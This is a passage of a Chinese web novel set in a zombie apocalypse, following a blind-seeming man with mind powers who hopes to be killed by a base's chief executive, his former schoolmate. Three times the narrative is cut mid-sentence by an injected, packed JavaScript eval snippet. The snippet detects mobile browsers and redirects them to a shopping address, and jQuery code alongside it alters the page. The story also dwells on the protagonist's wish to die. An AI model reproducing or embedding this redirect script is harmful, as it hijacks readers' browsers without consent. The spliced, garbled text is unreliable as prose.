《弄哭首席执行官的精神体后》 7. 两米蜘蛛 霍序则有个妹妹,小霍序则五岁岁,名叫霍由心,自由的由,心情的心。 霍序则两三岁时会在院子里玩泥巴,而霍由心这个年纪已经能一个人能在房间抱着算盘珠子一坐就是一下午了。 霍序则从小兴趣爱好广泛,男孩子喜欢的东西,篮球、足球、滑板、骑行、游戏,他都喜欢,又因为父母辈熏陶,烹饪、书法、美术、乐器这些也没落下,总之能接触到的,霍序则都能分点时间像模像样涉猎三分。 但他的亲生妹妹霍由心与霍序则不一样,霍由心很小就展现出非同一般的数学天赋,霍序则小学开始被选入学校竞赛班,最初只有数学一科,到了初中扩展至数、理、化、计算机全面开花。 霍由心在还没上学的年纪就能替偶尔贪玩跟自己的小兄弟们出去打篮球、踢足球、滑滑板的哥哥写小学数学竞赛练习册。 到了初中,霍序则参加竞赛集训带回家的笔记、教材,霍由心仅靠自学竟也能跟正经上了竞赛课程的哥哥从争论一道题的对错,到后来一起探讨解法最优途径。 霍序则高一时,已经拿下了两所顶级大学的保送资格,破天荒在学期未结束前就出国游玩了一趟,他选了个人很少还很原始荒凉的地界半探险半旅行,与外界一断联就是一个月。 因为上初中后,父母从来不干涉霍序则的决定,等在外面当了一个月“野人”的霍序则回到家,家里却没有人,爸爸妈妈妹妹谁都不在。 霍序则那时才得到消息,霍由心住院了。 当霍序则赶到医院,爸妈不在,病房里只有霍由心一个人。 霍由心正安静地半靠在病床头看书,抬眼见霍序则进来,自然而平静地喊了声:“哥。” 霍序则走过去抱了抱妹妹,又摸了摸妹妹的发顶,早慧的霍由心难得任由哥哥摆弄,侧脸贴靠在霍序则胸膛,她说:“哥,我以后不结婚了。” 过了好一会儿,她又说:“也不生孩子。” 霍序则什么都没问,只说:“好,人生有很多选择,心心喜欢怎么过,哥哥都支持。” 在霍序则不在家的这一个月里,霍由心有天突然在学校毫无征兆地昏倒了,老师同学将抽搐得厉害的霍由心送进医院,经过一系列检测,霍由心确诊了病症为癫痫。 癫痫,一种目前医学上没有彻底治愈手段,且有概率遗传下一代的脑部神经系统疾病。 霍由心没在医院住多长时间就回了家,隔天,霍序则送妹妹回初中部上学,送完人扭头回到相邻校区的高中部。 他找到自己的班主任老师、年级组长,告诉他们,他要放弃保送资格。 而两年后,惊掉所有人下巴的,霍序则以包括高考在内,高中三年始终蝉联市级第一的成绩第一志愿报了个航天航空院校,他居然要当飞行员。 “你家万贯家财不继承了,怎么选了个这种破专业学习?” 这是梁幸在得知霍序则的家世后,曾经对霍序则发出的灵魂拷问。 霍序则那时制服笔挺地刚从飞行模拟舱出来,优雅地摘了手上的白手套,微笑道:“家产有我妹,不劳费心。” 他那时想,既然他的妹妹不愿意成家,那就应该在立业方面更多发光发热。 做了一晚上光怪陆离的梦,霍序则天不亮从幽静的独栋别墅三层卧室中醒来,然而昨晚入睡前还窗明几净的房间,如今睁眼却遍布了满室的蜘蛛网。 阴森,又可怖。 霍序则平躺在床上对着被蜘蛛网层层叠叠包裹的天花板发了会儿呆,半分钟后,用最快的速度从床上起身,冲进卧室内自带的浴室。 霍序则站在打开的马桶盖前,他身高太高,又来不及跪下,从翻滚的胃袋中呕吐出来的隔夜饭压得他的原本挺直的背脊弯成一张拉满的弓。 维持着仿佛下一秒紧绷弯曲的脊背就将随时断裂一般的姿势,霍序则却一动不动立在马桶前吐了足足十几分钟。 等到霍序则终于将昨夜所有的食物残渣吐尽,吐得只能干呕出清水,他按下冲水马桶按键,才终于转移阵地到洗漱台前洗了把脸。 霍序则宽大却毫无血色的双手撑在洗手池两边,手背青筋清晰浮现,冰冷的水珠顺着他利落流畅的下颌线争先恐后滴滴坠落。 “妈,我今天不想打扫房间。”撑着洗漱台的霍序则忽然抬头,看着镜子半是耍赖,又像撒娇地说。 安静的浴室内,没有任何声响回应。 静了好一会儿,盥洗镜中带着一头一脸水渍的人抹了把脸,又若无其事刷牙洗脸恢复成平日人模狗样的霍大少爷形象。 等到布满蜘蛛网的卧室天花板被打扫干净,时间来到上午十点,还来不及歇口气,霍序则的手机响了。 霍序则慢悠悠拿起床头的手机接通,那头传来梁幸劈头盖脸地怒骂:“操,老子还以为你死床上了。” 霍序则:“……” 他下意识看了眼来电提醒,有三个未接全部来自梁幸,霍序则真诚道:“抱歉,在打扫卫生,手机开了静音。” 听得出手机里的人呼吸带喘,霍序则拿着手机笑了声,继续说:“不用跑了,还不需要来替我收尸。” 电话里梁幸呼吸平复了些,“呵”了一声:“真死了,谁理你。” 霍序则没争辩,停了下才说:“我不会自己去死的,你知道。” 梁幸当然知道,霍序则如果能自己了结,他就不用多此一举冒险混进如今幸存者人口密度最大的北部基地了。 电话里两人都默契的沉默了几秒钟,随后梁幸想起件事:“你骑人基地首席执行官精神体的事在北部基地大楼传遍了。” 他哼笑:“昨天那群北部基地异能者一个个瞪大眼睛自我怀疑的样子,你没看见真可惜。” 没有异能者会让自己的精神体屈居人下,更何况那还是北部基地异能排名第一的首席执行官的精神体。 霍序则“噢”了一声,声音散漫,半倚在床头,似乎不太在意。 梁幸继续说:“你房子的事我先前不知道位置也没上心,今天上午查了,就是原定留给你那个高中同学的,整个北部基地最好的一处房子了。” 一处好的房子,不仅在于安全的地理位置,同时也代表着在这个物资紧张匮乏的末世幸存者基地拥有相应更好的配套设施,以及更多物资供应的同等级优待,而这些东西必定需要房产拥有人自身与之配得上的能力与贡献。 其实这所房子的问题,霍序则昨天遇见刑厄后就隐约猜到了,刑厄送他回来从头到尾都没有问过他的住址,对方对他出现在北部基地似乎也没什么好奇心,应该是早知道他的存在。 而梁幸今天一大早跑去查证,大概也同样是意识到了这一点。 然而,为什么呢? 他们心里都很清楚,在这样的末世,仅仅一层多年不见的高中同学关系实在值不起这样大的面子。 手机中,梁幸干脆问:“既然你不想暴露身份,那你准备怎么说服你感情很好的高中同学对你动手?” 梁幸问出这个问题时,甚至将“感情很好”四个字咬了重音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑灰色巨型蜘蛛倏然收回触肢,整只蜘蛛一下子僵立原地,连冰箱门都忘了关,只剩脑袋上整齐划一四排骨碌碌乱转的眼睛显现出一丝胆怯的彷徨。 霍序则叹气:“既然知道饿,昨夜还织那么多网?” 连累他一大早吐完还要饥肠辘辘地打扫卫生! 黑灰色的巨型蜘蛛像个做错了事的孩子,被霍序则念了两句,几条触肢巴巴往霍序则长腿上磨蹭,又不敢太用力,就像在给他挠痒痒似的。 霍序则将玻璃杯中的水喝尽,杯子放在岛台上,杯底与岛台发出“当”的一声,吓得近乎两米高的蜘蛛吱哇乱蹿,两歩倒扒上厨房天顶,倒着四排眼珠子惊恐地瞪着从头到尾没大幅度动作过的主人。 被巨型蜘蛛怂哒哒的表现闹得没了脾气,霍序则摇了摇头,忍不住又叹了口气。 这只比人还高的蜘蛛是霍序则的精神体,近段时间他的精神状态有些差,精神体也跟着越来越不太受控,特别是当霍序则陷入梦境的夜晚。 只是……现在连白天清醒的时候,也能自主活动了吗? 霍序则随手将饮用过的玻璃水杯冲洗干净,擦干后放回橱柜中,他想,他好像还是得早点去死。 一小时后,刚做好午饭端出厨房,准备推妹妹过去的刑厄身份手环上收到一条来自副官的新信息。 【刑哥,观察中心打来电话,说有一位霍序则先生到那里求职。】 8. 求职未遂 观察中心,称作“中心”,位置却建立在北部幸存者基地外围一块单独隔绝起来的天地。 守卫森严,进出严格。 两天前,霍序则才与南部基地迁徙过来的大部队一起刚刚从那里经过一个月的生物观察期出来。 霍序则求死,却不能连累南部基地其他幸存者,所以一个月的观察期,他必须时刻保持清醒确保自己和他们停止接触前都还是个没有被感染的“正常人”。 但如果要“不小心”被感染,住着许多高风险可疑感染人群的生物观察中心无疑是霍序则现在最好的选择。 刑厄到北部基地大楼观察中心办公室门外时,刘磊承已经提前将办公室内监控画面转接到了刑厄的手机上。 刑厄皱眉看着监控中上身换了一件黑色T恤衫,裤子也变成了简单休闲裤,像个年轻大学生装扮的霍序则正襟危坐在办公室中。 监控画面没有声音,刑厄只看见霍序则浅笑着对着对面观察中心办主任说着什么。 他的左侧脸颊靠近嘴角附近的位置有个酒窝,笑起来有时会显得青涩害羞,而眼睛…… 刑厄记得,高一那年霍序则曾在男生厕所抓到过几个吸烟的学生。 他站在洗手台前仔仔细细洗完手,细致擦干手指上沾染的每一滴水珠后才曲起两根劲瘦有力的指节敲开传来烟味的隔间门。 “又准备搞谁?”霍序则单手插兜,看着一个小小隔间里挤着的三个躲着抽烟的男生。 三个男生开门前,已经提前将烟头冲进厕所毁尸灭迹了。但隔间里乌烟瘴气的,依旧证据确凿。 三名男生显然有些忌惮霍序则,尴尬地对霍序则赔笑说什么“则哥听错了”,“没有的事”。 霍序则也不深究,只摊开一只手掌,说了一个字:“烟。” 三个男生苦着脸,忍气吞声上交了剩余“赃物”。 然而,让他们没想到的是,霍序则拿到烟盒后,打开烟盒抽出了一支烟,还问他们借了火。 三个男生面面相觑给霍序则点了烟,霍序则夹着烟放到唇边吸了一口。 三个男生眼珠子都快瞪出来了。 不过仅一口,霍序则又把烟从嘴里拿出来,扔进厕所冲走了。 他回到洗手池漱了口,还顺带洗了把脸,再转过头时,面上还沾着水珠地看着那三个男生:“还不走?等我?” 三个男生愣了,他们以为霍序则抓了他们肯定要带到教务处去的。 霍序则用校服口袋里的手帕擦脸的时候,笑了:“我自己都抽了,还怎么抓你们?” 没等那几个人脚底抹油赶紧跑路,霍序则又说:“这次就算了,没烟瘾只是为了耍帅的话,建议换个方式,女生最讨厌烟味,只会嫌你们口臭。” “还有——”霍序则想起什么,把烟盒抛还给三个男生中其中一个,“要打架你们出了学校没人管你们,别祸害人家想在学校认真学习的。” 霍序则说完,长腿几步越过那几名男生,率先离开厕所。 出门时,在厕所门口碰到刑厄,他还十分若无其事地朝刑厄笑着点了下头打招呼。 霍序则的眼睛有混血基因,是无法形容的烟波缭绕的灰,好像目中无人不会把任何人放在眼里,然而笑起来光影细碎陷落其中会迷失,又很有些暧昧惑人痞痞坏坏的味道。 一点都不符合刻板印象中,乖巧老实的好学生形象。 而跟在霍序则身后走出厕所的另外三个抽烟的男生,在门口猛地见到刑厄仿佛老鼠见了猫,立即心虚得扭头就散。 没其他原因,他们先前在厕所里一边吸烟一边高谈阔论商量要针对搞事的对象,正是刑厄。 虽然总是迟到早退在教室外罚站,成绩却也一点也不匹配他“校霸”身份的——刑厄。 刑厄站在基地大楼观察中心办公室外好一会儿没说话,刘磊承跟在他的身后,主动开口询问:“刑哥,昨天霍先生和您一道经过基地大楼,挺多人看见了的。” 观察中心那种地方,普通人进去“工作”基本就等同于放弃了出去的机会,但凡有一个接触过的高危感染者丧尸化,那些工作人员不被传染也将陷入无休无止的观察拘禁。 观察办的蒋主任大概是提前听到过一点什么风声,在接待眼睛上蒙着白丝的霍序则前,电话就打到了刑厄的副官刘磊承那里询问刑厄的意思。 刘磊承把话说得委婉,实际昨天下午在北部基地闹出大动静的从来不是刑厄和谁一起经过基地大楼。 而是,谁坐在了北部基地首席执行官的精神体上,还在众目睽睽之下招摇过了市! 霍序则这张脸,这个名字,以及他背后所有的可查信息,经过一夜发酵已经传遍了北部基地异能者圈和基地管理层,就连遗世独立在基地外的研究所和观察中心都没有遗漏。 刑厄从收到副官的信息那刻起,拧紧的眉心就没松开过。 “联系南部基地的人……”刑厄顿了下,他记得昨天那个人的名字,“让那个叫梁幸的过来把人接走。” 不过等刘磊承几经辗转终于联系上梁幸,挂了电话,刑厄看着刘磊承,刘磊承举着手环神色尴尬:“梁先生说,腿长在霍先生自己身上,霍先生想找什么工作,他管不着……” 梁幸原话的最后四个字甚至是:“关我屁事。” 刘磊承犹豫着复述梁幸答复的话音刚落,冷不丁听到了拳头握紧时,人体骨骼发出的爆裂声。 他竭力忍住不去刑哥垂在两侧青筋暴起的手。 北部基地的首席执行官其实五官英俊、体魄健美,只可惜刑厄的脸上眉间正中有一道很长的疤,从额头一直延伸到鼻梁,好在位置凑巧将左右上半张脸对称分隔,并不难看,只给刑厄的面容添了几分凶悍野性。 然而此刻对方沉着脸不说话时,刘磊承却只感觉他们老大周身压迫感摄人,他已经不太敢直视面前的刑哥了。 “再打。”静了阵,刑厄说。 “打给谁?”刘磊承一时没反应过来。 “梁幸。” 在刘磊承的身份手环第二次与梁幸接通通讯后,刑厄索性拿过刘磊承的手环,言简意赅:“观察中心太危险了,霍序则不能在那工作。” 手环对面的梁幸不知认没认出刑厄的声音,他在听过刑厄的话后,还是那副不紧不慢的无所谓态度。 “他能不能在哪里工作,他自己心里有数,你认为他不能在那工作,你自己跟他说呗,我又不是他爹,找我没用。” 梁幸那边丝毫没给刑厄面子,说完直接就把通讯又挂了。 刘磊承在刑厄打通讯时,一直关注着刑厄手机上的监控画面,画面中观察中心主任不断在查看自己的身份手环,大概是等消息等得快要拖延不下去了。 眼见着刑厄握着被挂断的手环又不说话了,刘磊承小心翼翼观察老大的脸色,想了想主动提议说:“刑哥,要不就让蒋主任直接把霍先生拒了?” 跟了刑哥好几年了,刘磊承看得出来,刑哥舍近求远要联系其他人把里面那位带走就是不想自己出面,既然找不到人出面,又不想那位霍先生去观察中心工作,最简单的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223139|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式就是观察中心不通过对方的求职。 不过刑厄听到这个建议,第一反应却是干脆否决。 “如果直接拒绝,他会以为是因为他的眼睛。” 刘磊承闻言愣了下,等反应过来刑厄话里的意思—— 他们老大这是担心直接拒绝伤了里面那位的……自尊心? 在这样一个人人汲汲自危有今天没明天的末世,他们北部基地大名鼎鼎“杀人不眨眼”的首席执行官在为一个瞎子的自尊小心翼翼! 不等刘磊承心中的疑惑完全成形,他们面前观察中心办公室的门突然从里面被打开。 视野中心先是一双长腿映入刘磊承的眼帘,再然后是…… “刑厄?你怎么在这里?” 霍序则看不见,但当他拄着把新的长柄雨伞打开门,在所有人反应过来前,第一个先准确唤出了刑厄的名字。 刑厄来不及避开,只能僵硬应声:“工作。”与昨天初遇时一模一样的答案。 霍序则礼数周到地跟观察中心办主任道过别,自然地走到刑厄身边:“不介绍一下?” 他问的是也没有离开,跟着等在刑厄身后的刘磊承。 刘磊承犹豫着该不该主动答话,刑厄已经给了回答:“刘磊承,我的执行副官。” 刑厄似乎没打算对霍序则隐瞒身份,霍序则“哦”了一声,却也没就这个话题多问下去,只是朝着刘磊承的方向点了点头,算是打过了招呼。 而趁着这个间隙,刑厄抽空看了眼跟在霍序则后面走出办公室的蒋主任,后者并不敢直视刑厄的眼睛,像是畏惧,只隐晦地小幅摇了下头,看来是没能顺利完成任务。 刑厄不在乎蒋主任的眼神躲避,他们的惧怕他已经习惯了,得到答案后刑厄不再绕弯子,直接询问面前的人:“你想去观察中心工作?” 霍序则点头,笑了笑,很坦然地回答:“我的眼睛看不见,天然阻断了一条感染途径,而且瞎子在外又挺难找到工作机会的,对了,还有我的家人已经全部遇难无牵无挂,我想我应该很适合这份工作。” 两人边说话,边一起往北部基地外走,刑厄走在霍序则左侧顺着对方的脚步节奏沉默地走了一小会儿。 走到北部基地大楼门禁处的时候,刑厄突然停下脚步。 霍序则下意识跟着停了一下,问:“怎么了?你是不是还有工作要忙?” 他握着雨伞,沉静“看”着刑厄:“就送到这里吧,这次我记得路了,不会迷路。” 然而刑厄摇了摇头,又意识到霍序则看不见,他垂在身侧一直忘了松开拳头的手动了下,最终还是没碰霍序则,只是开口提出:“如果你要找工作,我这里有份工作,也许你也可以考虑。” 霍序则有那么两秒不知为何没应声,两秒后,他面色如常“嗯”了一声,询问:“是什么工作呢?” 刑厄简单将自己妹妹的身体基本情况告知了霍序则,说:“我近期有任务会离开基地几天,我妹妹在家需要一个人照应。” 屁颠屁颠跟了老大一路,正打算出了基地大楼门禁就立马开溜的刘磊承脚下一个趔趄。 “瞎子”霍序则听觉敏锐,条件反射朝刘磊承所站方向“看”了过来。 刘磊承下意识捂住嘴,费劲吞咽了口唾沫,心中却止不住惊涛骇浪。 从前刑哥不在基地的时候,不都是他负责照应刑哥的妹妹吗? 而且他这么大一个基地分来专门协助首席执行官处理所有日常事务的副官,他怎么不知道他的上级最近有什么外出任务??? 9. 碰触心声 北部基地外又在下雨,倾盆大雨。 暴雨伴随着刑厄的话音一齐在霍序则耳边炸开,让霍序则无意识偏了下头。 他真的不懂刑厄。 就像梁幸怀疑自己与北部基地某位高层“有一腿”在人家基地藏着旧情人一样,霍序则也越来越迷惑,自己跟刑厄之间过去究竟是有什么重要的细节难道被他遗忘了吗? 今天上午霍序则一进观察办的门,他就意识到那位对自己过于恭敬,话里话外甚至有些巴结谄媚的蒋主任不对劲。 没过多久,刑厄来了。 霍序则的眼睛现在已经恢复,如果他不想与他人眼神接触,出门必定需要蒙住自己的双眼。 然而他可以手动封闭自己的眼睛,可越来越不受控制的精神丝还是在刑厄出现在观察办门外的第一时刻,精神丝就将信息反馈进了霍序则的大脑。 包括如今刑厄的副官刘磊承潜意识里没能忍住的心声。 霍序则已经无法控制自己的精神丝不去探究他人的私人脑域,现在还只是潜意识心声,过不了多久可能就是无意识入侵他人大脑,占领、破坏,最终彻底控制他人变成没有灵魂的傀儡。 霍序则必须要死,还得要快,必须赶在自己的精神体蜘蛛长过刑厄的白狮大小以前,被刑厄的精神体用血液凝固异能一击毙命。 这是人类幸存者最后的机会。 也是南部基地研究院最后一名研究员被迫自杀前,留给霍序则最后的话。 霍序则沉默了好一会儿,他像是嵌在嘴角的温和笑意都收了一点,诚恳问:“在讨论工作问题以前,我能先问一个私人问题吗?” 话是对刑厄说的,可霍序则蒙着白丝的眼睛却是“看”着刑厄的副官刘磊承的方向。 刘磊承聪明伶俐,立即反应过来这位眼睛不太好使的霍先生如果不是不小心看错了方向,那么就是“私人问题”需要自己回避。 刘磊承马上说:“刑哥,我有份文件落在办公室了。” 刘磊承善解人意小跑步离开后,刑厄与霍序则一起站在北部基地大楼门禁处门口看着楼外的瓢泼大雨。 “你想问什么?”刑厄问。 在霍序则开口之前,刑厄又说:“站里面一点。” 今天中午的暴雨太大,雨水反溅到了霍序则的鞋尖上。 霍序则从善如流后退半步,开口:“我想知道,昨天下午你为什么召出自己的精神体?” “因为想显摆自己是异能者了吗?” 霍序则抛出问题的同时,甚至十分不负责任地给出了个恶意揣测选项。 刑厄闻言猛地扭头看向身旁的霍序则。 几秒后,他又拧紧眉目别开眼睛。 “不是。” “我没有这个意思。”他浑身绷得像根直挺挺的劲竹,喉结反复上下滚动,张了张嘴,又闭上。 “对不起。”可是他又说。 霍序则面色很平静,探出一只右手伸入身前的雨帘中:“既然不是显摆,为什么要说对不起?” 难不成是为了一个瞎子的自尊心? 霍序则不负责任地想:这也太扯了。 身旁的刑厄看着霍序则探出遮雨檐的手,霍序则瘦得厉害,明明身姿挺拔、身高优越,可他穿着黑色的T恤衫,除了肩宽合适仿佛到处都空荡荡的。 当他将手伸入雨中,暴雨噼里啪啦打在霍序则凸出的腕骨上,又高高跃起反溅到小臂上挽着的T恤衣袖上。 刑厄强迫自己错开视线,忍了几秒钟,又猛地看回来,终于还是伸手将霍序则伸出去的手一把按回遮雨檐下,又飞速收回。 整个过程,动作又凶又狠,如果不是霍序则恰在这时感知到了一句不合时宜的心声,大概都会以为是自己咄咄逼人的问话将人逼急了,生了气。 【袖子都湿了!】 精神丝传递回来的话,让霍序则白丝下闭着的眼睫都微不可察地颤了颤。 他接收到了刑厄情绪稍嫌暴躁的心里话。 在刑厄伸手将他的手按回檐下的一刹。 也是在同一时间,霍序则不可思议地联想起,昨天刑厄让自己坐上他的精神体前,自己当时是不是刚好踩进过一个水坑? 袖子湿了又不是手断了,为什么要在意? 昨天的精神体难不成还是因为鞋湿了? 霍序则不禁为自己举一反三地推导论断,感到匪夷所思。 霍序则曾猜测,刑厄应该是比自己的脑域进化等级更高的身体强化者,因为他记得当刑厄昨天下午第一次在自己面前放出精神体白狮。 狮身齐平霍序则胸口以上,那么白狮的整体大小不出意外就会在自己两米高的蜘蛛之上。 而且霍序则无论主动被动都从没接收到过刑厄的任何思绪线索,他以为是因为自己的进化等级比刑厄低,所以精神丝反馈不了对方的任何信息。 可刚才霍序则第一次接收到了刑厄的心声,是因为他们的等级差距可能相差并不大,只有身体接触时才会接收到对方的情绪和心理? “我们……” 触及不到刑厄的内心意动前,霍序则怀着疑惑一点点靠近试探,可现在偶尔听到了一句,霍序则心里的疑问却越来越多…… “我有什么值得你对我特别优待的吗?刑厄。” 霍序则心思百转千回,没能忍住脱口而出。 独栋别墅,精神体代步,还有刚才匆匆赶来阻止他进入观察中心工作,甚至还编出自己有外出任务的谎言给他无中生有了份工作。 在对方不清楚自己的特殊性与危险性的前提下,刑厄图什么呢? 然而霍序则问完又有些后悔,因为无论对方的答案是什么,刑厄和他最终都只能是刽子手与死刑犯的关系。 “刑哥!” 好在霍序则冲动完自我悔悟之时,救星来了。 离开没多久又匆忙返回的刘磊承上前凑到刑厄耳边,悄声说了句什么。 刑厄的眉心又一次蹙起。 “送他回去。”刑厄留下一句话,径直冲进雨中。 霍序则异能成长速度远超普通异能者,虽然不是强化在身体体能上,但要听一句就在近前的悄悄话还是易如反掌。 刚才刑厄的副官刘磊承附在刑厄耳边说的是:“观察中心有异能者出逃了。” 霍序则进入北部基地前也在北部基地外围的观察中心住过一个月,他非常清楚观察中心里外守卫森严,关卡层层,基本只进不出。 异能者会从观察中心出逃只可能是因为被怀疑高危感染,而异能者本人并不愿意留在观察中心坐以待毙。 “你不用跟着去吗?”霍序则当做没有听见对方说了什么,只是委婉询问被留下来的副官。 他还冲对方展示了一下自己手中现成的雨伞,说:“我不需要送,我能找到回去的路。” 刘磊承听后却摇了摇头:“我跟不了,刑哥做的任务都是危险系数五级以上的,我就是个普通人,去了也只会给刑哥帮倒忙。” 刘磊承挠了下头,年轻青涩的面庞露出一丝不好意思。 企图靠进入观察中心工作“感染”的途径暂时被阻断了,刚才观察办的主任明显是看刑厄脸色办事的,霍序则没理由说服刑厄自己为什么一定要进观察中心,目前这个计划就只能暂时搁置。 得了上级护送任务的刘磊承怎么都不肯让霍序则独自回家,等二人到达霍序则所住的独栋别墅大门口,虽然打了把伞,但在夏季暴雨的侵袭下,两个大男人身上都不可避免浇了个透。 霍序则没好意思让人家年轻副官就这样湿着回去。 “进来擦干一下,等雨停再走吧?” 霍序则邀请人进屋,给了对方一块干净毛巾,又摸了摸门口的时钟知道已经快要下午一点了,想到冰箱里还有昨晚剩下的食物,霍序则又马不停蹄热了饭菜下楼摆到刘副官面前。 刘磊承没想到霍序则一个盲人居然还会自己做饭,忙推拒:“这怎么行,霍哥留着自己吃。” 然而话没说完,他就被霍序则打开保鲜盒的食物美味,引得肚子咕噜一声。 刘磊承憋红了脸,当即只想找个地缝钻进去。 “麻烦你送我回来,都耽误你吃饭了。”怎么也被叫了声“哥”,霍序则保持着面部表情不变,假装自己什么都没听到,“做太多了,不嫌弃是昨天晚上做的话,陪我一起试试毒?” 五年末世里死人堆里爬出来的人,哪有嫌弃隔夜饭的道理。 刘磊承抱着盲人做的食物能熟就是胜利的心理开动,扒了一口后,眼睛倏然锃亮,一阵风卷残云三下五除二就给保鲜盒干了个精光。 霍序则没什么胃口,面前的保鲜盒都还没动,好笑地问:“饱了吗?冰箱里还有一份,我给你拿来?” 刘磊承连忙摆手,想起霍序则看不见,他又赶紧拉住起身要去上楼拿食物的霍序则。 “不,不,真不用了。”刘磊承不好意思道,“就是没想到这么好吃,真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223140|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好吃了!我吃饭一直很快的,我真的饱了!霍哥的排骨炸得特别入味!我好久没吃过这么好吃的饭菜了!” 一顿隔夜饭被刘磊承夸得天上有地上无的,霍序则老脸都有点承受不住,倒是没再勉强小副官再追加一份。 他有一下没一下地拨着自己那份保鲜盒中的排骨,半天没往嘴里塞任何食物,反而主动聊起:“小刘听声音很年轻,你跟着刑厄很长时间了吗?” 突然听到自己上级的名字,刘磊承一瞬间挺直了下腰背,看得出刑厄平日积威深重。 在刘磊承心里,面前的霍先生受他们老大那么多特殊照顾,曾经一定是刑哥极好的朋友,所以他也没有隐瞒保留。 刘磊承坦言回答:“我跟了刑哥快五年了,丧尸病毒刚爆发的时候,刑哥救了我,我就一直跟着他。” 霍序则点点头,“哦”了一声,顺势问:“刑厄救了你?你们怎么遇上的呢?” 老实说,霍序则现在对刑厄实在很好奇,在他的视角里他跟刑厄不过是很多年前话都没多说过几句的高中校友,可在北部基地重新遇见后,刑厄所做的每一件事都在超出霍序则的这个认知。 莫非看起来冷面煞神一般的刑厄,其实骨子里是个热心肠?末世遇见不平,什么人都要拔刀一声吼? 可这也太不符合能坐到“首席执行官”这个位置上的人该有的人设了吧? 霍序则这边脑子里正头脑风暴给刑厄按上各种稀奇古怪的反差头衔,刘磊承道:“丧尸病毒爆发的时候,我当时还在学校上课,最开始大家都不知道怎么回事,只听到操场上不知道为什么特别吵闹。” “后来广播来了,先是让我们都待在教室不要出去,后来又说让我们回宿舍关闭门窗,再后来……” 刘磊承试图回想当初,直到现在却感觉脑子依旧是木的,有种踩不到实处仍在梦中的浑浑噩噩之感。 “后来学校广播站广播停了,只剩下让人心慌的忙音,学校不让带手机,一整个宿舍楼就那么几个同学偷偷带了,他们给外面打电话,听说外面都乱了,他们要回家……” 刘磊承面上的血色慢慢褪去变得有些苍白:“我其实都不记得自己怎么活下来的了,学校乱了,街上也很乱,我回了家,但家里没人,我在学校耽误了差不多一个星期,期间一直联系不上我家人。” “宿舍里所有能吃的东西都被我们吃了,后来我回了家又等了爸妈很久,可他们再也没有回来。” 丧尸病毒爆发初期,人们很快意识到了它的严重性,可那时候其实谁也没有预料到这场灾难竟然会持续五年之久,并且到了今时今日,幸存者们自己都已经不敢确定这场灭顶之灾究竟还有没有最终结束的一天。 又或者当那一天到来,有自己独立思想、能够发展科技文明、正常繁育后代子孙的人类到底还会存在吗? 霍序则可以想象刘磊承都经历过什么,同样生活在这个残酷时代里,几乎每个人都是这样一天天苟活到的现在。 “出了事才知道百无一用是书生这句话真没错,遇到刑哥的时候,我已经饿得连跑的力气都没了,身上的校服都已经被丧尸抓烂了。” 刘磊承声音有些低落,不过又很快重整旗鼓,语气止不住的崇拜自豪。 “刑哥可厉害了,带着行动不便的妹妹,还顺手帮我解决了丧尸,异能也特别牛!是我见过最牛的异能者!” “如果没有遇到刑哥,我应该也早就死了。”最后,刘磊承这样说。 年轻副官朝气又丧气,霍序则没有出言安慰对方,末世里安慰是最无用的东西。 他只是不愿对方沉浸在负面情绪里:“百无一用是书生?那你以前成绩一定很好?” “不能带手机应该是读高中吧?”他随口调笑,“高中生就有本事跟着北部基地异能最牛的首席执行官工作,佩服佩服。” 谁知刘磊承听了霍序则的话,摇头摇得跟拨浪鼓似的。 “都是刑哥罩着我!他特别照顾我!” 刘磊承道:“执行副官职位公开竞选的时候,刑哥特意给任职要求上加了一条高中必须拿过年级第一,不然这种职位哪轮得上我。” “年级第一啊……”霍序则下意识喃喃。 刘磊承又不好意思地挠了挠头:“我就高一运气好考到过一次第一,刑哥设置这种指定性条件不就是给我开后门吗嘿嘿。” 心跳不轻不重地咯噔一声。 霍序则诡异静默一瞬:不是这么凑巧吧? 10. 孔雀开屏 雨停送走小副官前,霍序则又塞了一份加热好的保鲜食盒让刘磊承带走。 他原来是本着不浪费的精神,希望年轻力壮的小副官可以帮忙多消耗一份。 然而当晚上八九点,别墅花园外的雕花铁门传来声响,霍序则切切实实又一次感到了意外。 而第一次意外,是霍序则中午在北部基地大楼接触到刑厄心声的那句“袖子湿了”。 霍序则花了一下午时间给自己做心理建设,好不容易劝服自己少自作多情,不要贸然对号入座,结果晚上从三楼卧室窗边随便往外看了眼,好不容易镇压下去的自恋情绪腾腾腾又沸腾起来。 他快速下楼打开别墅大门走出去,花园铁门外昏暗的路灯下站着个人。 是刑厄。 由于出门出得急,霍序则连见人时该蒙在眼睛上的丝巾都忘了拿。 出门看见人他倒是想起来了,但这会儿再返回去拿东西太刻意了,好在刑厄进化等级够高,就算真不小心对视几眼,应该也不至于轻易被霍序则影响。 假装自己还是瞎子的霍序则慢慢走过去,为了演得逼真,他边走边问:“谁?” 站在铁门外的刑厄说:“刑厄。” 他没有回答“我”,而是报的全名。 